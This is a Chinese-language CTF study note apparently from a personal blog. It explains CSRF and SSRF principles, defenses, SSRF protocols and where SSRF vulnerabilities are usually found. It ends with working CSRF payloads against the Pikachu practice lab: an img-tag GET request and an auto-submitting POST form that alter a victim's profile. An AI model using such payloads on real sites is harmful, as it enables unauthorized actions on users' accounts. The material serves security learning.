555 字
3 分钟
【CTF笔记】CSRF漏洞

一、CSRF原理#

用户访问一个自己以前认证过的站点,并运行一些操作(如发邮件,发消息,甚至财产操作(如转账和购买商品))

因为浏览器之前认证过,所以被访问的站点会觉得这是真正的用户操作而去运行

二、利用方法#

受害者:登录目标网站

攻击者:事先了解网站请求方法,掌握网站发送数据的方式,同时诱导受害者点击链接或访问攻击者服务器

受害者:浏览器访问,向目标网站发送请求,并携带用户的Cookie

服务器:接受请求,未判断是否合法,执行操作

三、防御方法#

1、设置随机Token

2、检验Referer头

3、设置验证码

四、SSRF原理#

服务器提供了从其他服务器获取数据的功能,但没有过滤或限制,从而攻击服务器内网

SSRF漏洞可以直接探测网站所在服务器端口的开放情况甚至内网资产情况

五、利用协议#

http file dict ftp gopher

六、常见漏洞地点#

1、从Web功能上寻找#

分享:通过URL地址分享网页内容

转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览。

在线翻译:通过URL地址翻译对应文本的内容

图片加载与下载:通过URL地址加载或下载图片

图片、文章收藏功能

未公开的API实现以及其他调用URL的功能

2、从URL关键字上寻找#

share wap url link src source target u 3g display sourceURL imageURL domain等

举例#

GET型#

假如有关数据更新的链接为

http://192.168.110.78/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=sex&phonenum=phonenum&add=add&email=email&submit=submit

那么就可以诱导受害者访问含有

<img src=“http://192.168.110.78/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=hack&phonenum=hack&add=hack&email=hack&submit=submit” border=“0”style=“display;”/>

的网站,以实现CSRF

POST型#

假如有关数据更新的方式为POST且参数为

sex=1&phonenum=2&add=3&email=4&submit=submit

那么可以诱导受害者访问含有

<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="12345678922" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="lucy@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

的网站,以实现CSRF

【CTF笔记】CSRF漏洞
https://fuwari.vercel.app/posts/2025-02-06/
作者
Hel1um17
发布于
2025-02-06
许可协议
CC BY-NC-SA 4.0